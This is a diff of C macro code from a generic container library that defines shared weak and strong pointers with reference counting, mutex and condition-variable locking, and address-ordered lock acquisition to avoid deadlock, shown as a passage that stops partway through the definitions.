+ * * one to handle the shared pointer itself (ie.a copy create a new pointer to the data),
+ * * one to handle the data behind the shared pointer (ie. a copy create a new data)
+*/
+
+/* Declare a shared weak pointer (not atomic, single thread) for use in header file.
+   oplist is mandatory but is only used to test if a function has to be declared */
+#define M_SHARED_WEAK_PTR_DECL(name, oplist)                                  \
+    M_SHAR3D_PTR_DECL_P1((name, M_F(name, _t), oplist))
+
+/* Declare a shared weak pointer (not atomic, single thread) for use in header file.
+  oplist is mandatory but is only used to test if a function has to be declared */
+#define M_SHARED_WEAK_PTR_DECL_AS(name, shared_t, oplist)                     \
+    M_SHAR3D_PTR_DECL_P1((name, shared_t, oplist))
+
+/* Declare a shared strong pointer (atomic & lock) for use in header file.
+  oplist is mandatory but is only used to test if a function has to be declared */
+#define M_SHARED_PTR_DECL(name, oplist)                                       \
+    M_SHAR3D_PTR_DECL_P1((name, M_F(name, _t), oplist))
+
+/* Declare a shared strong pointer (atomic & lock) for use in header file.
+  oplist is mandatory but is only used to test if a function has to be declared */
+#define M_SHARED_PTR_DECL_AS(name, shared_t, oplist)                          \
+    M_SHAR3D_PTR_DECL_P1((name, shared_t, oplist))
+
+
+/* Define an external definition a shared weak pointer (not atomic). oplist is optional */
+#define M_SHARED_WEAK_PTR_DEF_EXTERN(name, ...)                               \
+  M_SHARED_WEAK_PTR_DEF_EXTERN_AS(name, M_F(name, _t), __VA_ARGS__)
+
+/* Define an external definition a shared weak pointer (not atomic). oplist is optional */
+#define M_SHARED_WEAK_PTR_DEF_EXTERN_AS(name, shared_t, ...)                  \
+  M_SHAR3D_WEAK_PTR_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                        \
+    ((name, shared_t, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), /*extern*/ ), \
+     (name, shared_t, __VA_ARGS__,                                        /*extern*/ )))
+
+/* Define an external definition a shared strong pointer (atomic & lock). oplist is optional */
+#define M_SHARED_PTR_DEF_EXTERN(name, ...)                                    \
+  M_SHARED_PTR_DEF_EXTERN_AS(name, M_F(name, _t), __VA_ARGS__)
+
+/* Define an external definition a shared strong pointer (atomic & lock). oplist is optional */
+#define M_SHARED_PTR_DEF_EXTERN_AS(name, shared_t, ...)                       \
+  M_SHAR3D_PTR_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+    ((name, shared_t, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), /*extern*/ ), \
+     (name, shared_t, __VA_ARGS__,                                        /*extern*/ )))
+
+
+/* Define a static inline a shared weak pointer (not atomic). oplist is optional */
+#define M_SHARED_WEAK_PTR_DEF(name, ...)                                      \
+  M_SHARED_WEAK_PTR_DEF_AS(name, M_F(name, _t), __VA_ARGS__)
+
+/* Define a static inline a shared weak pointer (not atomic). oplist is optional */
+#define M_SHARED_WEAK_PTR_DEF_AS(name, shared_t, ...)                         \
+  M_SHAR3D_PTR_DECL_TYPE(name, shared_t,       )                              \
+  M_SHAR3D_WEAK_PTR_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                        \
+    ((name, shared_t, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), static inline ), \
+     (name, shared_t, __VA_ARGS__,                                        static inline )))
+
+/* Define a static inline a shared strong pointer (atomic & lock). oplist is optional */
+#define M_SHARED_PTR_DEF(name, ...)                                           \
+  M_SHARED_PTR_DEF_AS(name, M_F(name, _t), __VA_ARGS__)
+
+/* Define a static inline a shared strong pointer (atomic & lock). oplist is optional */
+#define M_SHARED_PTR_DEF_AS(name, shared_t, ...)                              \
+  M_SHAR3D_PTR_DECL_TYPE(name, shared_t,       )                              \
+  M_SHAR3D_PTR_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+    ((name, shared_t, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), static inline ), \
+     (name, shared_t, __VA_ARGS__,                                        static inline )))
+
+
+/* Define the oplist of a shared pointer given its name and its oplist.
+   Oplist is mandatory.
+   USAGE: SHARED_PTR_OPLIST(name, oplist of the type) */
+#define M_SHARED_PTR_OPLIST(...)                                              \
+  M_SHAR3D_OPLIST_P1 ((__VA_ARGS__ ))
+
+/* Define the oplist of a shared pointer as a shared data given its name and its oplist.
+   Oplist is mandatory.
+   USAGE: SHARED_DATA_OPLIST(name, oplist of the type) */
+#define M_SHARED_DATA_OPLIST(...)                                             \
+  M_SHAR3D_DATA_OPLIST_P1 ((__VA_ARGS__ ))
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_SHAR3D_OPLIST_P1(arg) M_SHAR3D_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_SHAR3D_OPLIST_P2(name, oplist)                                      \
+  M_IF_OPLIST(oplist)(M_SHAR3D_OPLIST_P3, M_SHAR3D_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_SHAR3D_OPLIST_FAILURE(name, oplist)                                 \
+  ((M_LIB_ERROR(ARGUMENT_OF_SHARED_PTR_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a shared pointer */
+#define M_SHAR3D_OPLIST_P3(name, oplist)                                      \
+  (NAME(name), TYPE(struct M_C(name,_s) *)                                    \
+   ,M_IF_METHOD(INIT, oplist)(INIT(API_1(M_SHAR3D_NEW_WRAPPER)),)             \
+   ,INIT_SET(API_4(M_F(name, _acquire)))                                      \
+   ,SET(API_2(M_F(name, _set)))                                               \
+   ,CLEAR(M_F(name, _release))                                                \
+   ,INIT_MOVE(M_SET_DEFAULT)                                                  \
+   ,MOVE(M_SET_DEFAULT)                                                       \
+   )
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_SHAR3D_DATA_OPLIST_P1(arg) M_SHAR3D_DATA_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_SHAR3D_DATA_OPLIST_P2(name, oplist)                                 \
+  M_IF_OPLIST(oplist)(M_SHAR3D_DATA_OPLIST_P3, M_SHAR3D_DATA_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_SHAR3D_DATA_OPLIST_FAILURE(name, oplist)                            \
+  ((M_LIB_ERROR(ARGUMENT_OF_SHARED_DATA_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of the shared data of a shared pointer */
+#define M_SHAR3D_DATA_OPLIST_P3(name, oplist)                                 \
+  (NAME(name), TYPE(struct M_C(name,_s) *)                                    \
+   ,M_IF_METHOD(INIT, oplist)(INIT(API_1(M_SHAR3D_NEW_WRAPPER)),)             \
+   ,M_IF_METHOD(INIT_SET, oplist)(INIT_SET(API_4(M_F(name, _clone))),)        \
+   ,M_IF_METHOD(SET, oplist)(SET(API_4(M_F(name, _copy))),)                   \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,INIT_MOVE(M_SET_DEFAULT)                                                  \
+   ,MOVE(M_SET_DEFAULT)                                                       \
+   )
+
+// Wrapper for _new
+// API_4 isn't fully working since there is only one output argument.
+#define M_SHAR3D_NEW_WRAPPER(oplist, x) ((x) = M_F(M_GET_NAME oplist, _new)())
+
+
+/* Validation of the given oplist */
+#define M_SHAR3D_PTR_DECL_P1(arg) M_ID( M_SHAR3D_PTR_DECL_P2 arg )
+
+#define M_SHAR3D_PTR_DECL_P2(name, shared_t, oplist)                          \
+  M_IF_OPLIST(oplist)(M_SHAR3D_PTR_DECL_P3, M_SHAR3D_PTR_DECL_FAILURE)(name, shared_t, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_SHAR3D_PTR_DECL_FAILURE(name, shared_t, oplist)                     \
+  ((M_LIB_ERROR(ARGUMENT_OF_DECL_SHARED_POINTER_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Declare all functions associated to the shared pointer */
+#define M_SHAR3D_PTR_DECL_P3(name, shared_t, oplist)                          \
+    M_BEGIN_PROTECTED_CODE                                                    \
+    M_SHAR3D_PTR_DECL_TYPE(name, shared_t, oplist)                            \
+    M_SHAR3D_PTR_DECL_BASIC(name, shared_t, oplist)                           \
+    M_SHAR3D_PTR_DECL_EXTRA(name, shared_t, oplist)                           \
+    M_SHAR3D_PTR_DECL_ARITH(name, shared_t, oplist)                           \
+    M_SHAR3D_PTR_DECL_KEY(name, shared_t, oplist, M_GET_KEY_TYPE oplist, M_GET_VALUE_TYPE oplist) \
+    M_SHAR3D_PTR_DECL_PUSH(name, shared_t, oplist, M_GET_SUBTYPE oplist)      \
+    M_SHAR3D_PTR_DECL_POP(name, shared_t, oplist, M_GET_SUBTYPE oplist)       \
+    M_SHAR3D_PTR_DECL_IT(name, shared_t, oplist, M_GET_SUBTYPE oplist)        \
+    M_SHAR3D_PTR_DECL_IO(name, shared_t, oplist)                              \
+    M_END_PROTECTED_CODE
+
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_SHAR3D_WEAK_PTR_DEF_P1(arg) M_ID( M_SHAR3D_WEAK_PTR_DEF_P2 arg )
+
+/* Validation of the given oplist */
+#define M_SHAR3D_WEAK_PTR_DEF_P2(name, shared_t, type, oplist, fattr)         \
+  M_IF_OPLIST(oplist)(M_SHAR3D_WEAK_PTR_DEF_P3, M_SHAR3D_WEAK_PTR_DEF_FAILURE)(name, shared_t, type, oplist, fattr)
+
+/* Prepare a clean compilation failure */
+#define M_SHAR3D_WEAK_PTR_DEF_FAILURE(name, shared_t, type, oplist, fattr)    \
+  ((M_LIB_ERROR(ARGUMENT_OF_WEAK_DEF_SHARED_POINTER_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Define all functions associated to the weak shared pointer as 'fattr' (can be static inline or extern) */
+#define M_SHAR3D_WEAK_PTR_DEF_P3(name, shared_t, type, oplist, fattr)         \
+    M_BEGIN_PROTECTED_CODE                                                    \
+    M_SHAR3D_PTR_NO_THRD_DEF_TYPE(name, shared_t, type, oplist)               \
+    M_SHAR3D_PTR_NO_THRD_DEF_CORE(name, shared_t, type, oplist, fattr)        \
+    M_SHAR3D_PTR_DEF_BASIC(name, shared_t, type, oplist, fattr)               \
+    M_SHAR3D_PTR_DEF_EXTRA(name, shared_t, type, oplist, fattr)               \
+    M_SHAR3D_PTR_DEF_ARITH(name, shared_t, type, oplist, fattr)               \
+    M_SHAR3D_PTR_DEF_KEY(name, shared_t, type, oplist, fattr, M_GET_KEY_TYPE oplist, M_GET_KEY_OPLIST oplist, M_GET_VALUE_TYPE oplist, M_GET_VALUE_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_PUSH(name, shared_t, type, oplist, fattr, M_GET_SUBTYPE oplist, M_GET_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_POP(name, shared_t, type, oplist, fattr, M_GET_SUBTYPE oplist, M_GET_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_IT(name, shared_t, type, oplist, fattr, M_GET_SUBTYPE oplist, M_GET_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_IO(name, shared_t, type, oplist, fattr)                  \
+    M_END_PROTECTED_CODE
+
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_SHAR3D_PTR_DEF_P1(arg) M_ID( M_SHAR3D_PTR_DEF_P2 arg )
+
+/* Validation of the given oplist */
+#define M_SHAR3D_PTR_DEF_P2(name, shared_t, type, oplist, fattr)              \
+  M_IF_OPLIST(oplist)(M_SHAR3D_PTR_DEF_P3, M_SHAR3D_PTR_DEF_FAILURE)(name, shared_t, type, oplist, fattr)
+
+/* Prepare a clean compilation failure */
+#define M_SHAR3D_PTR_DEF_FAILURE(name, shared_t, type, oplist, fattr)         \
+  ((M_LIB_ERROR(ARGUMENT_OF_DEF_SHARED_POINTER_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Define all functions associated to the shared pointer as 'fattr' (can be static inline or extern) */
+#define M_SHAR3D_PTR_DEF_P3(name, shared_t, type, oplist, fattr)              \
+    M_BEGIN_PROTECTED_CODE                                                    \
+    M_SHAR3D_PTR_DEF_TYPE(name, shared_t, type, oplist)                       \
+    M_SHAR3D_PTR_DEF_CORE(name, shared_t, type, oplist, fattr)                \
+    M_SHAR3D_PTR_DEF_BASIC(name, shared_t, type, oplist, fattr)               \
+    M_SHAR3D_PTR_DEF_EXTRA(name, shared_t, type, oplist, fattr)               \
+    M_SHAR3D_PTR_DEF_ARITH(name, shared_t, type, oplist, fattr)               \
+    M_SHAR3D_PTR_DEF_KEY(name, shared_t, type, oplist, fattr, M_GET_KEY_TYPE oplist, M_GET_KEY_OPLIST oplist, M_GET_VALUE_TYPE oplist, M_GET_VALUE_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_PUSH(name, shared_t, type, oplist, fattr, M_GET_SUBTYPE oplist, M_GET_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_POP(name, shared_t, type, oplist, fattr, M_GET_SUBTYPE oplist, M_GET_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_IT(name, shared_t, type, oplist, fattr, M_GET_SUBTYPE oplist, M_GET_OPLIST oplist) \
+    M_SHAR3D_PTR_DEF_IO(name, shared_t, type, oplist, fattr)                  \
+    M_END_PROTECTED_CODE
+
+
+/* Declare the type of shared pointer. Opaque structure for encapsulation */
+#define M_SHAR3D_PTR_DECL_TYPE(name, shared_t, oplist)                        \
+    typedef struct M_C(name, _s) shared_t;
+
+/* Definition of the type with no thread safety (single thread) */
+#define M_SHAR3D_PTR_NO_THRD_DEF_TYPE(name, shared_t, type, oplist)           \
+    struct M_C(name, _s) {                                                    \
+        type        data; /* Allow safe casting from shared_t* to type* */    \
+        unsigned cpt;     /* Owner counter that acquire the data */           \
+    };
+
+/* Define the core functions without any thread safety */
+#define M_SHAR3D_PTR_NO_THRD_DEF_CORE(name, shared_t, type, oplist, fattr)    \
+/* Increment the number of owner (acquire the resource) */                    \
+static inline void M_C3(m_shar3d_, name, _inc_owner)(shared_t *out)           \
+{                                                                             \
+    out->cpt ++;                                                              \
+}                                                                             \
+/* Decrement the number of owner (release the resource). Return true if it was the last owner */ \
+static inline bool M_C3(m_shar3d_, name, _dec_owner)(shared_t *out)           \
+{                                                                             \
+    out->cpt --;                                                              \
+    return 0 == out->cpt;                                                     \
+}                                                                             \
+/* Init the lock */                                                           \
+static inline  void M_F(name, _init_lock)(shared_t *out)                      \
+{                                                                             \
+    out->cpt = 1;                                                             \
+}                                                                             \
+/* Clear the lock */                                                          \
+static inline  void M_F(name, _clear_lock)(shared_t *out)                     \
+{                                                                             \
+    M_ASSERT(out->cpt == 0);                                                  \
+    (void) out;                                                               \
+}                                                                             \
+/* Enter the lock for reading the data */                                     \
+static inline  void M_F(name, _read_lock)(const shared_t *out)                \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* wait for some new data to be available (within read_lock) */               \
+static inline  void M_F(name, _read_wait)(const shared_t *out)                \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* Leave the lock for reading the data (within read_lock) */                  \
+static inline  void M_F(name, _read_unlock)(const shared_t *out)              \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* Enter the lock for writing/updating the data */                            \
+static inline  void M_F(name, _write_lock)(shared_t *out)                     \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* wait to be able to write new data (within write_lock) */                   \
+static inline  void M_F(name, _write_wait)(shared_t *out)                     \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* signal some new data are available (within write_lock) */                  \
+static inline  void M_F(name, _write_signal)(shared_t *out)                   \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* signal some free slot are available (within write_lock) */                 \
+static inline  void M_F(name, _free_signal)(shared_t *out)                    \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* Leaver the lock for writing/updating the data (within write_lock) */       \
+static inline  void M_F(name, _write_unlock)(shared_t *out)                   \
+{                                                                             \
+    (void) out;                                                               \
+}                                                                             \
+/* Return a pointer to the data */                                            \
+static inline  type *M_F(name, _ref)(shared_t *out)                           \
+{                                                                             \
+    return &out->data;                                                        \
+}                                                                             \
+/* Return a const pointer to the data */                                      \
+static inline  type const *M_F(name, _cref)(const shared_t *out)              \
+{                                                                             \
+    return &out->data;                                                        \
+}                                                                             \
+/* Perform a write lock on out and a read lock on src */                      \
+static inline  void M_F(name, _write_read_lock)(shared_t *out, const shared_t *src) \
+{                                                                             \
+    (void) out;                                                               \
+    (void) src;                                                               \
+}                                                                             \
+/* Leave the write lock on out and the read lock on src */                    \
+static inline  void M_F(name, _write_read_unlock)(shared_t *out, const shared_t *src) \
+{                                                                             \
+    (void) out;                                                               \
+    (void) src;                                                               \
+}                                                                             \
+static inline void M_F(name, _write_read2_lock)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+{                                                                             \
+    (void) out;                                                               \
+    (void) src1;                                                              \
+    (void) src2;                                                              \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_read2_unlock)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+{                                                                             \
+    (void) out;                                                               \
+    (void) src1;                                                              \
+    (void) src2;                                                              \
+}                                                                             \
+
+
+/* Definition of the type with thread safety. */
+//TODO: If PROPERTIES.THREADSAFE, disable the global lock as the container handles it itself.
+//FIXME: Such a property may need to be more fine tuned than globally.
+#define M_SHAR3D_PTR_DEF_TYPE(name, shared_t, type, oplist)                   \
+    struct M_C(name, _s) {                                                    \
+        type        data; /* Allow safe casting from shared_t* to type* */    \
+        atomic_uint cpt;  /* Owner counter that acquire the data */           \
+        m_mutex_t   lock; /* Lock to modify the data */                       \
+        m_cond_t  there_is_data; /* cond var sent if there a new data added */ \
+        M_IF_METHOD(FULL_P, oplist)( /* cond var has meaning if it can be full */ \
+        m_cond_t  there_is_slot; /* cond var sent if there is a free slot */  \
+        , )                                                                   \
+    };
+
+/* Define the core functions with thread safety 
+   NOTE: lock are exception free. */
+#define M_SHAR3D_PTR_DEF_CORE(name, shared_t, type, oplist, fattr)            \
+                                                                              \
+static inline void M_C3(m_shar3d_, name, _inc_owner)(shared_t *out)           \
+{                                                                             \
+    atomic_fetch_add(&out->cpt, 1);                                           \
+}                                                                             \
+                                                                              \
+static inline bool M_C3(m_shar3d_, name, _dec_owner)(shared_t *out)           \
+{                                                                             \
+    return 1 == atomic_fetch_sub(&out->cpt, 1);                               \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _init_lock)(shared_t *out)                       \
+{                                                                             \
+    atomic_init(&out->cpt, 1);                                                \
+    m_mutex_init(out->lock);                                                  \
+    m_cond_init(out->there_is_data);                                          \
+    M_IF_METHOD(FULL_P, oplist)(m_cond_init(out->there_is_slot), (void)0);    \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _clear_lock)(shared_t *out)                      \
+{                                                                             \
+    m_mutex_clear(out->lock);                                                 \
+    m_cond_clear(out->there_is_data);                                         \
+    M_IF_METHOD(FULL_P, oplist)(m_cond_clear(out->there_is_slot), (void)0);   \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _read_lock)(const shared_t *out)                 \
+{                                                                             \
+    shared_t *self = (shared_t *)(uintptr_t)out;                              \
+    m_mutex_lock (self->lock);                                                \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _read_wait)(const shared_t *out)                 \
+{                                                                             \
+    shared_t *self = (shared_t *)(uintptr_t)out;                              \
+    m_cond_wait(self->there_is_data, self->lock);                             \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _read_unlock)(const shared_t *out)               \
+{                                                                             \
+    shared_t *self = (shared_t *)(uintptr_t)out;                              \
+    m_mutex_unlock (self->lock);                                              \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_lock)(shared_t *out)                      \
+{                                                                             \
+    m_mutex_lock (out->lock);                                                 \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_wait)(shared_t *out)                      \
+{                                                                             \
+    M_IF_METHOD(FULL_P, oplist)(                                              \
+        m_cond_wait(out->there_is_slot, out->lock);                           \
+    ,(void) out;)                                                             \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_signal)(shared_t *out)                    \
+{                                                                             \
+    m_cond_broadcast(out->there_is_data);                                     \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _free_signal)(shared_t *out)                     \
+{                                                                             \
+    M_IF_METHOD(FULL_P, oplist)(                                              \
+        m_cond_broadcast(out->there_is_slot);                                 \
+    , (void) out;)                                                            \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_unlock)(shared_t *out)                    \
+{                                                                             \
+    m_mutex_unlock (out->lock);                                               \
+}                                                                             \
+                                                                              \
+static inline type *M_F(name, _ref)(shared_t *out)                            \
+{                                                                             \
+    return &out->data;                                                        \
+}                                                                             \
+                                                                              \
+static inline type const *M_F(name, _cref)(const shared_t *out)               \
+{                                                                             \
+    return &out->data;                                                        \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_read_lock)(shared_t *out, const shared_t *src) \
+{                                                                             \
+    /* We cannot perform a write_lock and a read_lock on the same variable at the same time */ \
+    M_ASSERT(out != src);                                                     \
+    /* Need to order the locks in a total way to avoid lock deadlock.         \
+       Indeed, two call to _set can be done in two threads with :             \
+       T1: A := B                                                             \
+       T2: B := A                                                             \
+       If we lock first the mutex of out, then the src, it could be possible  \
+       in the previous scenario that both mutexes are locked: T1 has locked A \
+       and T2 has locked B, and T1 is waiting for locking B, and T2 is waiting \
+       for locking A, resulting in a deadlock.                                \
+       To avoid this problem, we **always** lock the mutex which address is   \
+       the lowest.                                                            \
+       Note that is technically an undefined behavior of the C standard */    \
+    if (out < src) {                                                          \
+      M_F(name, _write_lock)(out);                                            \
+      M_F(name, _read_lock)(src);                                             \
+    } else {                                                                  \
+      M_F(name, _read_lock)(src);                                             \
+      M_F(name, _write_lock)(out);                                            \
+    }                                                                         \
+}                                                                             \
+                                                                              \
+static inline void M_F(name, _write_read_unlock)(shared_t *out, const shared_t *src) \
+{                                                                             \
+    M_ASSERT(out != src);                                                     \
+    /* NOTE: No need to order the unlock */                                   \
+    M_F(name, _read_unlock)(src);                                             \
+    M_F(name, _write_unlock)(out);                                            \
+}                                                                             \
+                                                                              \
+fattr void M_F(name, _write_read2_lock)(shared_t *out, const shared_t *src1, const shared_t *src2); \
+fattr void M_F(name, _write_read2_lock)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+{                                                                             \
+    /* We can have out == src1 or out == src2 or src1 == src2 */              \
+    if (out == src1) {                                                        \
+        if (out == src2) {                                                    \
+            M_F(name, _write_lock)(out);                                      \
+        } else if (out < src2) {                                              \
+            M_F(name, _write_lock)(out);                                      \
+            M_F(name, _read_lock)(src2);                                      \
+        } else {                                                              \
+            M_F(name, _read_lock)(src2);                                      \
+            M_F(name, _write_lock)(out);                                      \
+        }                                                                     \
+        return;                                                               \
+    } else if (out == src2) {                                                 \
+        M_ASSERT(out != src1);                                                \
+        if (out < src1) {                                                     \
+            M_F(name, _write_lock)(out);                                      \
+            M_F(name, _read_lock)(src1);                                      \
+        } else {                                                              \
+            M_F(name, _read_lock)(src1);                                      \
+            M_F(name, _write_lock)(out);                                      \
+        }                                                                     \
+        return;                                                               \
+    } else if (src1 == src2) {                                                \
+        if (out < src1) {                                                     \
+            /* out < src1 = src2 */                                           \
+            M_F(name, _write_lock)(out);                                      \
+            M_F(name, _read_lock)(src1);                                      \
+        } else {                                                              \
+            /* src1 = src2 < out */                                           \
+            M_F(name, _read_lock)(src1);                                      \
+            M_F(name, _write_lock)(out);                                      \
+        }                                                                     \
+        return;                                                               \
+    }                                                                         \
+    /* See above  */                                                          \
+    if (src1 > src2) {                                                        \
+        M_SWAP(const shared_t *, src1, src2);                                 \
+    }                                                                         \
+    /* src1 < src2 */                                                         \
+    if (out < src1) {                                                         \
+        /* out < src1 < src2 */                                               \
+        M_F(name, _write_lock)(out);                                          \
+        M_F(name, _read_lock)(src1);                                          \
+        M_F(name, _read_lock)(src2);                                          \
+    } else if (out < src2) {                                                  \
+        /* src1 < out < src2 */                                               \
+        M_F(name, _read_lock)(src1);                                          \
+        M_F(name, _write_lock)(out);                                          \
+        M_F(name, _read_lock)(src2);                                          \
+    } else {                                                                  \
+        /* src1 < src2 < out */                                               \
+        M_F(name, _read_lock)(src1);                                          \
+        M_F(name, _read_lock)(src2);                                          \
+        M_F(name, _write_lock)(out);                                          \
+    }                                                                         \
+}                                                                             \
+                                                                              \
+fattr void M_F(name, _write_read2_unlock)(shared_t *out, const shared_t *src1, const shared_t *src2); \
+fattr void M_F(name, _write_read2_unlock)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+{                                                                             \
+    /* We can have out == src1 or out == src2 or src1 == src2 */              \
+    if (out == src1) {                                                        \
+        if (out == src2) {                                                    \
+            M_F(name, _write_unlock)(out);                                    \
+        } else {                                                              \
+            M_F(name, _read_unlock)(src2);                                    \
+            M_F(name, _write_unlock)(out);                                    \
+        }                                                                     \
+        return;                                                               \
+    } else if (out == src2) {                                                 \
+        M_ASSERT(out != src1);                                                \
+        M_F(name, _read_unlock)(src1);                                        \
+        M_F(name, _write_unlock)(out);                                        \
+        return;                                                               \
+    } else if (src1 == src2) {                                                \
+        M_F(name, _read_unlock)(src1);                                        \
+        M_F(name, _write_unlock)(out);                                        \
+        return ;                                                              \
+    }                                                                         \
+    /* NOTE: No need to order the unlock */                                   \
+    M_F(name, _read_unlock)(src1);                                            \
+    M_F(name, _read_unlock)(src2);                                            \
+    M_F(name, _write_unlock)(out);                                            \
+}                                                                             \
+
+
+/* Define the basic function of a shared pointer */
+#define M_SHAR3D_PTR_DECL_BASIC(name, shared_t, oplist)                       \
+M_IF_METHOD(INIT, oplist)( extern shared_t *M_F(name, _new)(void); , )        \
+M_IF_METHOD(INIT_SET, oplist)( extern shared_t *M_F(name, _clone)(const shared_t *); , ) \
+M_IF_METHOD(SET, oplist)( extern void M_F(name, _copy)(shared_t *, const shared_t *); , ) \
+M_IF_METHOD2(INIT_SET, TYPE, oplist)( extern shared_t *M_F(name, _new_from)(M_GET_TYPE oplist const); , ) \
+extern shared_t *M_F(name, _acquire)(shared_t *);                             \
+extern void      M_F(name, _release)(shared_t *);                             \
+extern void      M_F(name, _set)(shared_t **, shared_t *);                    \
+extern void      M_F(name, _clear)(shared_t *);                               \
+M_EMPLACE_QUEUE_DEF(name, shared_t, M_F(name, _make), oplist, M_SHAR3D_PTR_DECL_BASIC_MAKE)
+
+#define M_SHAR3D_PTR_DECL_BASIC_MAKE(name, shared_t, function_name, oplist, init_func, exp_emplace_type) \
+extern shared_t *function_name(M_EMPLACE_LIST_TYPE_VAR_ALTER(a, exp_emplace_type));
+
+#define M_SHAR3D_PTR_DEF_BASIC(name, shared_t, type, oplist, fattr)           \
+M_IF_METHOD(INIT, oplist)(                                                    \
+    fattr shared_t *M_F(name, _new)(void)                                     \
+    {                                                                         \
+        M_GLOBAL_CONTEXT();                                                   \
+        shared_t *out = M_CALL_NEW(oplist, shared_t);                         \
+        if (M_UNLIKELY_NOMEM( out == NULL)) {                                 \
+            M_MEMORY_FULL(shared_t, 1);                                       \
+        }                                                                     \
+        M_ON_EXCEPTION( M_CALL_DEL(oplist, out) )                             \
+            M_CALL_INIT(oplist, out->data);                                   \
+        M_F(name, _init_lock)(out);                                           \
+        return out;                                                           \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(INIT_SET, oplist)(                                                \
+    fattr shared_t *M_F(name, _clone)(const shared_t *src)                    \
+    {                                                                         \
+        M_ASSERT(src != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        shared_t *out = M_CALL_NEW(oplist, shared_t);                         \
+        if (M_UNLIKELY_NOMEM( out == NULL)) {                                 \
+            M_MEMORY_FULL(shared_t, 1);                                       \
+        }                                                                     \
+        M_F(name, _read_lock)(src);                                           \
+        M_ON_EXCEPTION( M_F(name, _read_unlock)(src), M_CALL_DEL(oplist, out) ) \
+            M_CALL_INIT_SET(oplist, out->data, src->data);                    \
+        M_F(name, _read_unlock)(src);                                         \
+        M_F(name, _init_lock)(out);                                           \
+        return out;                                                           \
+    }                                                                         \
+                                                                              \
+    M_IF_METHOD(TYPE,oplist)( ,                                               \
+    fattr shared_t *M_F(name, _new_from)(type const src); )                   \
+    fattr shared_t *M_F(name, _new_from)(type const src)                      \
+    {                                                                         \
+        M_GLOBAL_CONTEXT();                                                   \
+        shared_t *out = M_CALL_NEW(oplist, shared_t);                         \
+        if (M_UNLIKELY_NOMEM( out == NULL)) {                                 \
+            M_MEMORY_FULL(shared_t, 1);                                       \
+        }                                                                     \
+        M_ON_EXCEPTION( M_CALL_DEL(oplist, out) )                             \
+            M_CALL_INIT_SET(oplist, out->data, src);                          \
+        M_F(name, _init_lock)(out);                                           \
+        return out;                                                           \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(SET, oplist)(                                                     \
+    fattr void M_F(name, _copy)(shared_t *out, const shared_t *src)           \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_ASSERT(src != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        if (M_UNLIKELY (out == src)) return;                                  \
+        M_F(name, _write_read_lock)(out, src);                                \
+        M_ON_EXCEPTION( M_F(name, _write_read_unlock)(out, src) )             \
+            M_CALL_SET(oplist, out->data, src->data);                         \
+        M_F(name, _write_signal)(out);                                        \
+        M_F(name, _write_read_unlock)(out, src);                              \
+    }                                                                         \
